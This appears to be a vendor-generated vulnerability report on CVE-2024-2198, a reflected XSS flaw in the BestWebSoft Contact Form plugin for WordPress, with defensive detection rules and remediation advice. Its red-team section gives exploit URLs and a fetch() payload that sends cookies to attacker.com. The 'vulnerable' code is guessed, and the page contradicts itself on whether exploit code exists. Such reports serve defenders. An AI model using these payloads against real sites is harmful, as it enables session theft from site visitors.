CVE-2024-2198
Executive Summary
CVE-2024-2198 is a reflected Cross-Site Scripting (XSS) vulnerability in the Contact Form by BestWebSoft plugin for WordPress, affecting all versions up to and including 4.2.8. The flaw resides in the cntctfrm_contact_address parameter, which is insufficiently sanitized and escaped. An unauthenticated attacker can inject arbitrary web scripts that execute when a victim clicks a crafted link. The CVSS score is 6.1 (Medium), with a low EPSS probability of 0.0%, indicating low active exploitation in the wild. No official patch has been released, and no public exploit code or Nuclei templates are available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click a malicious link.
- Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium. The requirement for user interaction reduces the risk, but the lack of a patch and the widespread use of WordPress plugins make this a significant concern for site administrators.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the WordPress ecosystem. The cntctfrm_contact_address parameter is used by the Contact Form plugin to pre-fill the address field in a contact form. The plugin fails to properly sanitize user input and escape output when rendering this parameter in the response. An attacker can craft a URL containing malicious JavaScript in the cntctfrm_contact_address parameter. When a victim clicks the link, the script executes in the context of the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.
The attack flow:
- Attacker crafts a malicious URL:
http://target-site.com/?cntctfrm_contact_address=<script>alert('XSS')</script> - Attacker tricks the victim into clicking the link (e.g., via phishing email).
- The victim's browser sends a request to the vulnerable WordPress site.
- The plugin reflects the malicious script in the HTML response without proper escaping.
- The victim's browser executes the script, leading to XSS.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 4.2.8):
The plugin likely outputs the cntctfrm_contact_address parameter directly without escaping. Example:
$address = $_GET['cntctfrm_contact_address'];
echo '<input type="text" name="cntctfrm_contact_address" value="' . $address . '" />';
Patched Code (hypothetical):
The fix would involve proper escaping using WordPress functions like esc_attr():
$address = isset($_GET['cntctfrm_contact_address']) ? sanitize_text_field($_GET['cntctfrm_contact_address']) : '';
echo '<input type="text" name="cntctfrm_contact_address" value="' . esc_attr($address) . '" />';
Since no official patch is available, administrators must implement a virtual patch or disable the plugin.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with Contact Form by BestWebSoft plugin version <= 4.2.8.
- Ability to craft and deliver a malicious link.
Exploit Steps:
- Identify the vulnerable parameter:
cntctfrm_contact_address. - Craft a payload:
<script>alert(document.cookie)</script>. - Construct the malicious URL:
http://target-site.com/?cntctfrm_contact_address=<script>alert(document.cookie)</script> - URL-encode the payload for reliability:
http://target-site.com/?cntctfrm_contact_address=%3Cscript%3Ealert(document.cookie)%3C/script%3E - Deliver the link to the victim via email, social engineering, or other means.
- When the victim clicks, the script executes, and the attacker can steal cookies or perform other actions.
Advanced Payload Example:
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defense & Detection)
Detection Steps:
- Monitor web server logs for requests containing
cntctfrm_contact_addresswith suspicious patterns (e.g.,<script>,onerror=,javascript:). - Use a Web Application Firewall (WAF) to block requests with XSS patterns in the
cntctfrm_contact_addressparameter. - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Educate users about phishing attacks that exploit reflected XSS.
Lab Setup:
- Use a local WordPress installation with the vulnerable plugin.
- Simulate the attack using a browser or curl:
curl "http://localhost/?cntctfrm_contact_address=<script>alert('XSS')</script>" - Verify the script execution in the response.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
cntctfrm_contact_addresswith script tags or encoded JavaScript. - Outbound connections to attacker-controlled domains from the victim's browser.
- HTTP requests containing
- Host IOCs:
- Unexpected JavaScript execution in the browser.
- Presence of malicious cookies or session tokens exfiltrated.
- Log IOCs:
- Web server logs showing
cntctfrm_contact_addressparameter with<script>or%3Cscript%3Epatterns. - Referer headers indicating phishing or social engineering sources.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2024_2198_XSS_Detection {
meta:
description = "Detects reflected XSS attempts targeting CVE-2024-2198"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-2198"
strings:
$xss_pattern1 = "cntctfrm_contact_address="
$xss_pattern2 = "<script"
$xss_pattern3 = "%3Cscript"
$xss_pattern4 = "onerror="
$xss_pattern5 = "javascript:"
condition:
$xss_pattern1 and any of ($xss_pattern2, $xss_pattern3, $xss_pattern4, $xss_pattern5)
}
Sigma Rule
title: Reflected XSS via cntctfrm_contact_address
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against CVE-2024-2198
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
c-uri|contains: "cntctfrm_contact_address="
c-uri|contains|any:
- "<script"
- "%3Cscript"
- "onerror="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of the parameter with safe values (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-2198 Reflected XSS Attempt"; flow:to_server,established; content:"cntctfrm_contact_address="; http_uri; pcre:"/(<script|%3Cscript|onerror=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a virtual patch using a WAF to block requests with XSS patterns in the
cntctfrm_contact_addressparameter. - Monitor logs for exploitation attempts.
Long-term Fix:
- Apply the official patch when released by BestWebSoft.
- If no patch is forthcoming, consider replacing the plugin with an alternative.
Mitigation Controls:
- Enforce Content Security Policy (CSP) headers to restrict script execution.
- Use input validation and output escaping for all user-supplied data.
- Educate users about phishing and social engineering risks.
Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.